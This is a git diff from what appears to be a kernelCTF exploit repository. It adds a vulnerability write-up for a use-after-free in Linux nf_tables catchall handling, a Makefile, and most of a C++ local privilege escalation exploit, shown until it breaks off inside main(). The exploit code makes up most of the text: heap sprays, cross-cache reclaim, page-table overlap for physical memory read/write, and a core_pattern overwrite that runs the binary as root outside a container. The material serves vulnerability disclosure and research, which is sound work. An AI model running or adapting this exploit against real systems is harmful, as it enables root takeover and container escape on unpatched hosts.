`nft_map_catchall_deactivate()` / `nft_map_catchall_activate()` when two catchalls coexist -> chain use-after-free +2. **Cross-cache #1** (`kmalloc-cg-128` -> `kmalloc-16`) to reclaim chain memory with `unix_address` objects -> refcount corruption via UAF field overlap +3. **Cross-cache #2** (`kmalloc-16` -> pipe page) via invalid `kfree` on drained slab -> page-level free (refer [novel-techniques.md](https://github.com/c0m0r1/security-research/blob/f5fb37c09790fcae8ea4f363f77849a56d4033e7/pocs/linux/kernelctf/CVE-2026-23111_cos/docs/novel-techniques.md#exploiting-unexpected-behavior-of-invalid-address-kfree)) +4. **Page table / pipe buffer overlap** via page UAF -> physical arbitrary read/write +5. **PhysASLR bypass** via linear physical memory scan (refer [novel-techniques.md](https://github.com/c0m0r1/security-research/blob/f5fb37c09790fcae8ea4f363f77849a56d4033e7/pocs/linux/kernelctf/CVE-2026-23111_cos/docs/novel-techniques.md#effective-bypass-of-physaslr)) +6. **`core_pattern` overwrite** -> root code execution outside the container + +Exploit stability: ~90% success rate for cross-cache reclaim, ~90% for post-reclaim (PTE spray + core_pattern overwrite + execution), ~80% overall. diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-23278_cos/docs/vulnerability.md new file mode 100644 index 000000000..281ce5f9b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23278_cos/docs/vulnerability.md @@ -0,0 +1,28 @@ +# Vulnerability + +A use-after-free vulnerability was found in the Linux kernel's Netfilter nf_tables subsystem (`net/netfilter/nf_tables_api.c`). A `break` statement in both `nft_map_catchall_deactivate()` and `nft_map_catchall_activate()` causes incomplete processing when two catchall elements coexist in a verdict map during the same transaction. When the set is also being deleted in the same batch, the `break` causes the second catchall element's chain reference to be mismanaged during the abort path, leading to a `chain->use` counter underflow to zero and a subsequent use-after-free of the `nft_chain` object. This leads to local privilege escalation (LPE). + +## Requirements to trigger the vulnerability: +- Capabilities: To trigger the vulnerability, `CAP_NET_ADMIN` capability is required to access the Netfilter system. +- Kernel configuration: Kernel configs related to the Netfilter nf_tables system (e.g., `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`) are required to trigger this vulnerability. This config is generally enabled by default (ex. x86_64_defconfig). +- Are user namespaces needed?: Yes. As this vulnerability requires `CAP_NET_ADMIN`, which is not usually given to the normal user, we used the unprivileged user namespace to achieve this capability. + +## Commit which introduced the vulnerability +- This vulnerability was introduced in Linux v6.4, with commit [628bd3e49cba1c066228e23d71a852c23e26da73](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=628bd3e49cba1c066228e23d71a852c23e26da73) +- This commit ("netfilter: nf_tables: drop map element references from preparation phase") restructured the handling of map element data references such that a pending `DELSETELEM` and a `NEWSETELEM` in the same batch can both leave catchall elements in the set's `catchall_list` simultaneously, exposing the latent `break`-statement bug in `nft_map_catchall_deactivate()` and `nft_map_catchall_activate()`. + +## Commit which fixed the vulnerability +- This vulnerability was fixed with commit [7cb9a23d7ae40a702577d3d8bacb7026f04ac2a9](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7cb9a23d7ae40a702577d3d8bacb7026f04ac2a9) ("netfilter: nf_tables: always walk all pending catchall elements"), which removes the `break` statements from both `nft_map_catchall_deactivate()` and `nft_map_catchall_activate()` so that all catchall elements are processed — not just the first matching one — when a verdict map containing multiple pending catchalls is toggled during a transaction. + +## Affected kernel versions +- Linux versions containing commit 628bd3e49cba and lacking the fix ("netfilter: nf_tables: always walk all pending catchall elements") are affected. + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause (UAF, BoF, race condition, double free, refcount overflow, etc) +- Use-after-free (`chain->use` counter underflow to zero via incomplete catchall processing → premature `kfree` of `nft_chain`) + +## Which syscalls or syscall parameters are needed to be blocked to prevent triggering the vulnerability? (If there is any easy way to block it.) +- Disable syscalls for Netfilter (specifically, Netfilter nf_tables) system (ex. `socket`, `sendmsg` with Netlink socket) to prevent this vulnerability. +- Disable syscalls for unprivileged user namespace (ex. `clone`, `unshare`) can reduce the attack surface since the Netfilter system requires `CAP_NET_ADMIN` to use. diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/Makefile b/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/Makefile new file mode 100644 index 000000000..d40dd57cf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/Makefile @@ -0,0 +1,55 @@ +CC = g++ +SRCS := ./exploit.cpp +TARGET := exploit +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build +LIBXDK_DIR = $(realpath ./)/libxdk_build + +CFLAGS = -w -static -Wall -fpermissive +LIBS = -L$(LIBMNL_DIR)/install/usr/local/lib -L$(LIBNFTNL_DIR)/install/usr/local/lib -L$(LIBXDK_DIR)/lib -lnftnl -lmnl -lkernelXDK -lkeyutils +INCLUDES = -I$(LIBMNL_DIR)/install/usr/local/include -I$(LIBNFTNL_DIR)/install/usr/local/include -I$(LIBXDK_DIR)/include + +$(TARGET) : libmnl-build libnftnl-build libxdk-build target_db.kxdb + $(CC) $(CFLAGS) $(SRCS) -o $(TARGET) $(INCLUDES) $(LIBS) + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && mkdir ../install && make DESTDIR=`realpath ../install` install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.1.tar.bz2 + cd $(LIBNFTNL_DIR)/libnftnl-1.2.1 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/usr/local/lib/pkgconfig ./configure --enable-static + cd $(LIBNFTNL_DIR)/libnftnl-1.2.1 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/usr/local/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/usr/local/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.1 && mkdir ../install && make DESTDIR=`realpath ../install` install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.1.tar.bz2 + +libxdk-build : + mkdir -p $(LIBXDK_DIR) + wget -O $(LIBXDK_DIR)/libxdk-v0.1.tar.gz https://github.com/google/kernel-research/releases/download/libxdk/v0.1/libxdk-v0.1.tar.gz + tar -C $(LIBXDK_DIR) -xzf $(LIBXDK_DIR)/libxdk-v0.1.tar.gz + +target_db.kxdb : + wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +exploit_debug : libmnl-build libnftnl-build libxdk-build target_db.kxdb + $(CC) $(CFLAGS) $(SRCS) -o exploit_debug $(INCLUDES) $(LIBS) + +.PHONY: libmnl-build libnftnl-build libxdk-build libmnl-download libnftnl-download clean exploit_debug + +clean: + rm -f $(TARGET) exploit_debug + if [ -d $(LIBMNL_DIR)/libmnl-1.0.5 ]; then cd $(LIBMNL_DIR)/libmnl-1.0.5 && make DESTDIR=`realpath ../install` uninstall; fi + if [ -d $(LIBNFTNL_DIR)/libnftnl-1.2.1 ]; then cd $(LIBNFTNL_DIR)/libnftnl-1.2.1 && make DESTDIR=`realpath ../install` uninstall; fi + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -rf $(LIBXDK_DIR) + rm -f target_db.kxdb diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/exploit b/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/exploit new file mode 100755 index 000000000..8f82debb5 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/exploit.cpp new file mode 100644 index 000000000..3e7255b6d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23278_cos/exploit/cos-121-18867.381.30/exploit.cpp @@ -0,0 +1,1062 @@ +// SPDX-License-Identifier: MIT +// +// Full LPE exploit for nft_map_catchall break-statement bug +// Target: COS-121-18867.381.30 +// +// Bug: nft_map_catchall_deactivate() and nft_map_catchall_activate() break +// after the first catchall element. When two catchalls coexist (old +// being deleted + new being added in the same batch), the second one's +// data references are not properly managed during abort, causing a +// chain->use counter underflow to zero. +// +// Exploitation chain: +// 1. Trigger bug -> chain->use = 0 +// 2. DELCHAIN -> frees chain (use == 0, so kernel allows it) +// 3. Cross-cache -> kmalloc-cg-128 page reclaimed by kmalloc-16 +// 4. del_table UAF -> nft_use_dec writes to freed chain memory +// 5. PTE spray -> pipe page overlaps with page-table page +// 6. Arbitrary R/W -> remap PTEs to read/write physical memory +// 7. core_pattern -> overwrite to execute our binary as root +// 8. Root shell -> crash child, kernel runs our core handler +// +// Build: +// g++ -o exploit exploit.cpp -static -lnftnl -lmnl -lkernelXDK -lkeyutils -w + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +INCBIN(target_db, "target_db.kxdb"); + +/* ── Compat defines ───────────────────────────────────────────── */ + +#ifndef htons +#define htons(x) __builtin_bswap16(x) +#endif +#ifndef htonl +#define htonl(x) __builtin_bswap32(x) +#endif +#ifndef MFD_EXEC +#define MFD_EXEC 0x0010 +#endif + +/* ── Logging ──────────────────────────────────────────────────── */ + +#define DEBUG +#ifdef DEBUG +#define LOG(f, ...) fprintf(stderr, "[*] " f "\n", ##__VA_ARGS__) +#define OK(f, ...) fprintf(stderr, "[+] " f "\n", ##__VA_ARGS__) +#define BAD(f, ...) fprintf(stderr, "[-] " f "\n", ##__VA_ARGS__) +#define HIT(f, ...) fprintf(stderr, "[!] " f "\n", ##__VA_ARGS__) +#else +#define LOG(...) ((void)0) +#define OK(...) ((void)0) +#define BAD(...) ((void)0) +#define HIT(...) ((void)0) +#endif + +/* ── Tunable constants ────────────────────────────────────────── */ + +/* Spray array sizes */ +#define DEFRAG_MSG_SZ 0x200 /* msg_msg queues for kmalloc-cg-128 defrag */ +#define DEFRAG_SOCK_SZ 0x200 /* unix sockets for kmalloc-16 defrag */ +#define CC_MSG_SZ 0x400 /* msg_msg queues surrounding the chain */ +#define RECLAIM_SOCK_SZ 0x400 /* unix sockets to reclaim freed chain page */ +#define PIPE_SZ 0x100 /* pipes for PTE spray */ + +/* msg_msg: 48-byte kernel header + data. Total=0x80=128 -> kmalloc-cg-128, + * which is the same slab cache as nft_chain. This lets us fill the slab + * page around the chain so we can free it cleanly later. */ +#define MSG_MSG_SIZE 0x80 +#define PG_SIZE 0x1000 + +/* Cross-cache target: kmalloc-16. + * The kernel's struct unix_address = { refcount_t refcnt; int len; char name[]; } + * has an 8-byte header. With bind addr_len = 8, the kernel allocates + * kmalloc(8 + 8 = 16) -> kmalloc-16. + * + * After cross-cache from kmalloc-cg-128 to kmalloc-16, chain->use (at + * offset 0x50 = 80 bytes from chain start) lands on byte 0 of the 6th + * 16-byte object: the refcnt field of a unix_address. + * nft_use_dec decrements refcnt from 1 to 0 (raw u32 write, bypasses + * refcount_t API). This corrupted refcnt is key to the PTE spray. */ +#define MAGIC 0xdeadbeef /* marker in socket abstract name */ + +/* PTE spray parameters. + * We mmap a large region at fixed address with 2MB gaps. Each 2MB region + * gets its own page-table page. By touching one page per region, we force + * the kernel to allocate many PTE pages from buddy. */ +#define PT_SZ 0x100 +#define MMAP_ADDR 0x10000000UL +#define MMAP_GAP 0x200000UL /* 2MB between touched pages */ +#define MMAP_SZ ((size_t)PT_SZ * MMAP_GAP) + +/* ── msg_msg helpers ──────────────────────────────────────────── */ + +struct msgp { + long mtype; + char mtext[1]; +}; + +static void init_msgq(int *arr, size_t count) +{ + for (size_t i = 0; i < count; i++) + arr[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); +} + +/* Send one msg_msg of total size `alloc_sz` to each queue. + * Uses stack buffer to avoid malloc overhead in hot path. */ +static size_t g_msg_msg_hdr_size = 48; /* overridden by kernelXDK */ +static int g_bind_len = 8; /* overridden by kernelXDK */ +static uintptr_t g_core_pattern_phys = 0; /* overridden by kernelXDK */ + +static void spray_msg(int *arr, size_t count, size_t alloc_sz, + char *data, long mtype) +{ + size_t data_sz = alloc_sz - g_msg_msg_hdr_size; + char stack_buf[sizeof(long) + 128]; + struct msgp *msg = (struct msgp *)stack_buf; + msg->mtype = mtype; + memcpy(msg->mtext, data, data_sz); + for (size_t i = 0; i < count; i++) + if (arr[i] >= 0) + msgsnd(arr[i], msg, data_sz, 0); +} + +/* Receive (and thus free) one msg_msg from each queue */ +static void release_msg(int *arr, size_t count) +{ + char recv_buf[256]; + for (size_t i = 0; i < count; i++) + if (arr[i] >= 0) + msgrcv(arr[i], recv_buf, sizeof(recv_buf) - sizeof(long), + 0, IPC_NOWAIT); +} + +/* ── Unix socket helpers ──────────────────────────────────────── */ + +static void init_sock(int *arr, size_t count) +{ + for (size_t i = 0; i < count; i++) { + arr[i] = socket(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, 0); + if (arr[i] < 0) { + perror("socket"); + _exit(1); + } + } +} + +/* ── System setup ─────────────────────────────────────────────── */ + +/* Create new user + network + mount namespaces so we can use nftables + * as an unprivileged user. Map our uid/gid to root inside. */ +static void unshare_setup(uid_t uid, gid_t gid) +{ + char edit[64]; + int fd; + + unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); + + fd = open("/proc/self/setgroups", O_WRONLY); + if (fd >= 0) { write(fd, "deny", 4); close(fd); } + + fd = open("/proc/self/uid_map", O_WRONLY); + if (fd >= 0) { + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(fd, edit, strlen(edit)); + close(fd); + } + + fd = open("/proc/self/gid_map", O_WRONLY); + if (fd >= 0) { + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(fd, edit, strlen(edit)); + close(fd); + } +} + +static void pin_cpu(int cpu) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + sched_setaffinity(0, sizeof(set), &set); +} + +/* ── PTE manipulation primitives ──────────────────────────────── */ + +/* Force TLB invalidation for a virtual address range. + * mprotect changes PTE permission bits, which forces the CPU to flush + * the TLB entry. mfence + clflush ensure memory ordering. */ +/* Full TLB flush via mprotect (for initial setup / cleanup) */ +static void flush_tlb(void *ptr, size_t count) +{ + void *page = (void *)((uintptr_t)ptr & ~0xfffUL); + mprotect(page, count, PROT_READ | PROT_WRITE | PROT_EXEC); + mprotect(page, count, PROT_READ | PROT_WRITE); + asm volatile("mfence; clflush 0(%0); mfence" + : : "c"(ptr) : "rax", "memory"); +} + +/* Arbitrary physical memory read via PTE pipe. + * Reads the PTE page from pipe, rewrites entry 0 to target phys addr, + * writes back, flushes TLB, copies data from remapped VA to dst. */ +static void aar(int pipe_fd[2], void *dst, uintptr_t phys, + void *remap_va, size_t len) +{ + uintptr_t pte_buf[PG_SIZE / sizeof(uintptr_t)]; + uintptr_t page_off = phys & 0xfff; + uintptr_t page_base = phys & ~0xfffUL; + + if (read(pipe_fd[0], pte_buf, PG_SIZE) != PG_SIZE) _exit(1); + uintptr_t flags = pte_buf[0] & 0xfff; + size_t npages = (len + PG_SIZE - 1) / PG_SIZE; + for (size_t i = 0; i < npages; i++, page_base += PG_SIZE) + pte_buf[i] = flags | page_base | 0x8000000000000000ULL; + if (write(pipe_fd[1], pte_buf, PG_SIZE) != PG_SIZE) _exit(1); + + flush_tlb(remap_va, len); + memcpy(dst, (char *)remap_va + page_off, len); +} + + +/* ── Root shell via core_pattern ──────────────────────────────── */ + +/* Copy our own binary into memfd at fd 666. When the kernel executes + * core_pattern="|/proc/%P/fd/666 %P %P", it runs us as root. + * We detect this re-entry by argc > 2 and read /flag. */ +static void setup_fd666(void) +{ + int memfd = syscall(SYS_memfd_create, "", MFD_EXEC); + if (memfd < 0) + memfd = syscall(SYS_memfd_create, "", 0); + int exe_fd = open("/proc/self/exe", O_RDONLY); + sendfile(memfd, exe_fd, NULL, 0xffffffff); + close(exe_fd); + dup2(memfd, 666); + close(memfd); +} + +/* Check if core_pattern has been overwritten with our payload */ +static int check_core(void) +{ + char buf[64] = {}; + int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY); + if (fd < 0) + return 0; + read(fd, buf, sizeof(buf)); + close(fd); + return strncmp(buf, "|/proc/%P/fd/666", 16) == 0; +} + +/* ── Netlink / nftables helpers ───────────────────────────────── */ + +static struct mnl_socket *nl; +static unsigned int portid; +static char nlbuf[0x8000]; + +/* Send a netlink batch and collect errors from responses */ +static int nl_send(struct mnl_nlmsg_batch *batch) +{ + int ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch)); + mnl_nlmsg_batch_stop(batch); + if (ret < 0) + return ret; + + int last_err = 0; + while ((ret = mnl_socket_recvfrom(nl, nlbuf, sizeof(nlbuf))) > 0) { + struct nlmsghdr *nlh = (struct nlmsghdr *)nlbuf; + int len = ret; + while (mnl_nlmsg_ok(nlh, len)) { + if (nlh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = mnl_nlmsg_get_payload(nlh); + if (err->error) + last_err = err->error; + } + nlh = mnl_nlmsg_next(nlh, &len); + } + } + return last_err; +} + +/* Batch framing macros */ +#define NL_BEGIN(b, s) do { \ + nftnl_batch_begin(mnl_nlmsg_batch_current(b), (*(s))++); \ + mnl_nlmsg_batch_next(b); \ +} while (0) + +#define NL_END(b, s) do { \ + nftnl_batch_end(mnl_nlmsg_batch_current(b), (*(s))++); \ + mnl_nlmsg_batch_next(b); \ +} while (0) + +/* --- Individual nftables operations --- */ + +static void nft_add_table(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *name) +{ + struct nftnl_table *t = nftnl_table_alloc(); + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); + struct nlmsghdr *h = nftnl_table_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_NEWTABLE, fam, + NLM_F_CREATE | NLM_F_ACK, (*s)++); + nftnl_table_nlmsg_build_payload(h, t); + mnl_nlmsg_batch_next(b); + nftnl_table_free(t); +} + +static void nft_del_table(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *name) +{ + struct nftnl_table *t = nftnl_table_alloc(); + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); + struct nlmsghdr *h = nftnl_table_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_DELTABLE, fam, + NLM_F_ACK, (*s)++); + nftnl_table_nlmsg_build_payload(h, t); + mnl_nlmsg_batch_next(b); + nftnl_table_free(t); +} + +static void nft_add_chain(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, + const char *chain, bool is_base) +{ + struct nftnl_chain *c = nftnl_chain_alloc(); + nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table); + nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain); + if (is_base) { + nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN); + nftnl_chain_set_s32(c, NFTNL_CHAIN_PRIO, 0); + nftnl_chain_set_str(c, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(c, NFTNL_CHAIN_POLICY, NF_ACCEPT); + } + struct nlmsghdr *h = nftnl_chain_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_NEWCHAIN, fam, + NLM_F_CREATE | NLM_F_ACK, (*s)++); + nftnl_chain_nlmsg_build_payload(h, c); + mnl_nlmsg_batch_next(b); + nftnl_chain_free(c); +} + +static void nft_del_chain(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, const char *chain) +{ + struct nftnl_chain *c = nftnl_chain_alloc(); + nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table); + nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain); + struct nlmsghdr *h = nftnl_chain_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_DELCHAIN, fam, + NLM_F_ACK, (*s)++); + nftnl_chain_nlmsg_build_payload(h, c); + mnl_nlmsg_batch_next(b); + nftnl_chain_free(c); +} + +static void nft_add_vmap(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, + const char *name, uint32_t id) +{ + struct nftnl_set *x = nftnl_set_alloc(); + nftnl_set_set_str(x, NFTNL_SET_TABLE, table); + nftnl_set_set_str(x, NFTNL_SET_NAME, name); + nftnl_set_set_u32(x, NFTNL_SET_ID, id); + nftnl_set_set_u32(x, NFTNL_SET_KEY_LEN, 4); + nftnl_set_set_u32(x, NFTNL_SET_KEY_TYPE, 13); /* inet_service */ + nftnl_set_set_u32(x, NFTNL_SET_DATA_TYPE, 0xffffff00); /* verdict */ + nftnl_set_set_u32(x, NFTNL_SET_DATA_LEN, 4); + nftnl_set_set_u32(x, NFTNL_SET_FLAGS, NFT_SET_MAP); + struct nlmsghdr *h = nftnl_set_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_NEWSET, fam, + NLM_F_CREATE | NLM_F_ACK, (*s)++); + nftnl_set_nlmsg_build_payload(h, x); + mnl_nlmsg_batch_next(b); + nftnl_set_free(x); +} + +/* Add a catchall set element with a GOTO verdict (raw netlink) */ +static void nft_add_catchall(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, + const char *set, uint32_t set_id, + const char *goto_chain) +{ + struct nlmsghdr *h = mnl_nlmsg_put_header(mnl_nlmsg_batch_current(b)); + h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; + h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; + h->nlmsg_seq = (*s)++; + + struct nfgenmsg *nfg = mnl_nlmsg_put_extra_header(h, sizeof(*nfg)); + nfg->nfgen_family = fam; + nfg->version = NFNETLINK_V0; + nfg->res_id = htons(0); + + mnl_attr_put_strz(h, NFTA_SET_ELEM_LIST_TABLE, table); + mnl_attr_put_strz(h, NFTA_SET_ELEM_LIST_SET, set); + mnl_attr_put_u32(h, NFTA_SET_ELEM_LIST_SET_ID, htonl(set_id)); + + struct nlattr *elems = mnl_attr_nest_start(h, NFTA_SET_ELEM_LIST_ELEMENTS); + struct nlattr *elem = mnl_attr_nest_start(h, 1); + mnl_attr_put_u32(h, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + struct nlattr *data = mnl_attr_nest_start(h, NFTA_SET_ELEM_DATA); + struct nlattr *verdict = mnl_attr_nest_start(h, NFTA_DATA_VERDICT); + mnl_attr_put_u32(h, NFTA_VERDICT_CODE, htonl(NFT_GOTO)); + mnl_attr_put_strz(h, NFTA_VERDICT_CHAIN, goto_chain); + mnl_attr_nest_end(h, verdict); + mnl_attr_nest_end(h, data); + mnl_attr_nest_end(h, elem); + mnl_attr_nest_end(h, elems); + + mnl_nlmsg_batch_next(b); +} + +/* Delete a catchall set element (raw netlink) */ +static void nft_del_catchall(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, const char *set) +{ + struct nlmsghdr *h = mnl_nlmsg_put_header(mnl_nlmsg_batch_current(b)); + h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELSETELEM; + h->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + h->nlmsg_seq = (*s)++; + + struct nfgenmsg *nfg = mnl_nlmsg_put_extra_header(h, sizeof(*nfg)); + nfg->nfgen_family = fam; + nfg->version = NFNETLINK_V0; + nfg->res_id = htons(0); + + mnl_attr_put_strz(h, NFTA_SET_ELEM_LIST_TABLE, table); + mnl_attr_put_strz(h, NFTA_SET_ELEM_LIST_SET, set); + + struct nlattr *elems = mnl_attr_nest_start(h, NFTA_SET_ELEM_LIST_ELEMENTS); + struct nlattr *elem = mnl_attr_nest_start(h, 1); + mnl_attr_put_u32(h, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + mnl_attr_nest_end(h, elem); + mnl_attr_nest_end(h, elems); + + mnl_nlmsg_batch_next(b); +} + +static void nft_del_rules(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, const char *chain) +{ + struct nftnl_rule *r = nftnl_rule_alloc(); + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, fam); + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table); + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain); + struct nlmsghdr *h = nftnl_rule_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_DELRULE, fam, + NLM_F_ACK, (*s)++); + nftnl_rule_nlmsg_build_payload(h, r); + mnl_nlmsg_batch_next(b); + nftnl_rule_free(r); +} + +static void nft_del_set(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, const char *name) +{ + struct nftnl_set *x = nftnl_set_alloc(); + nftnl_set_set_str(x, NFTNL_SET_TABLE, table); + nftnl_set_set_str(x, NFTNL_SET_NAME, name); + struct nlmsghdr *h = nftnl_set_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_DELSET, fam, + NLM_F_ACK, (*s)++); + nftnl_set_nlmsg_build_payload(h, x); + mnl_nlmsg_batch_next(b); + nftnl_set_free(x); +} + +/* Add a lookup rule: payload(dst_ip) -> lookup in verdict map */ +static void nft_add_lookup(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table, const char *chain, + const char *set, uint32_t set_id) +{ + struct nftnl_rule *r = nftnl_rule_alloc(); + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, fam); + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table); + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain); + + struct nftnl_expr *payload = nftnl_expr_alloc("payload"); + nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1); + nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_NETWORK_HEADER); + nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_OFFSET, 16); + nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_LEN, 4); + nftnl_rule_add_expr(r, payload); + + struct nftnl_expr *lookup = nftnl_expr_alloc("lookup"); + nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); + nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set); + nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SET_ID, set_id); + nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_DREG, NFT_REG_VERDICT); + nftnl_rule_add_expr(r, lookup); + + struct nlmsghdr *h = nftnl_rule_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, fam, + NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, (*s)++); + nftnl_rule_nlmsg_build_payload(h, r); + mnl_nlmsg_batch_next(b); + nftnl_rule_free(r); +} + +/* Add a rule referencing a non-existent chain -> forces batch abort */ +static void nft_add_fail(struct mnl_nlmsg_batch *b, uint32_t *s, + int fam, const char *table) +{ + struct nftnl_rule *r = nftnl_rule_alloc(); + nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, fam); + nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table); + nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, "__bad__"); + struct nlmsghdr *h = nftnl_rule_nlmsg_build_hdr( + mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, fam, + NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, (*s)++); + nftnl_rule_nlmsg_build_payload(h, r); + mnl_nlmsg_batch_next(b); + nftnl_rule_free(r); +} + +/* ══════════════════════════════════════════════════════════════════ + * Main exploit + * ══════════════════════════════════════════════════════════════════ */ + +int main(int argc, char *argv[]) +{ + uint32_t seq = 0; + const int FAM = NFPROTO_IPV4; + const char *TAB = "t"; /* table name */ + const char *BCH = "bc"; /* base chain */ + const char *TCH = "tc"; /* target chain */ + const char *VMAP = "vm"; /* verdict map */ + const uint32_t VMID = 100; /* verdict map id */ + int ret; + + /* Spray arrays (on stack for fast alloc/free per attempt) */ + int defrag_mq[DEFRAG_MSG_SZ], defrag_sk[DEFRAG_SOCK_SZ]; + int cc_mq1[CC_MSG_SZ], cc_mq2[CC_MSG_SZ]; + int srv_sk[RECLAIM_SOCK_SZ], cli_sk[RECLAIM_SOCK_SZ]; + int pipes[PIPE_SZ][2]; + char msg_data[PG_SIZE], pipe_data[PG_SIZE], tmp_buf[PG_SIZE]; + char delchain_nlbuf[0x8000]; /* separate buffer for pre-built DELCHAIN batch */ + struct mnl_nlmsg_batch *delchain_batch; + struct 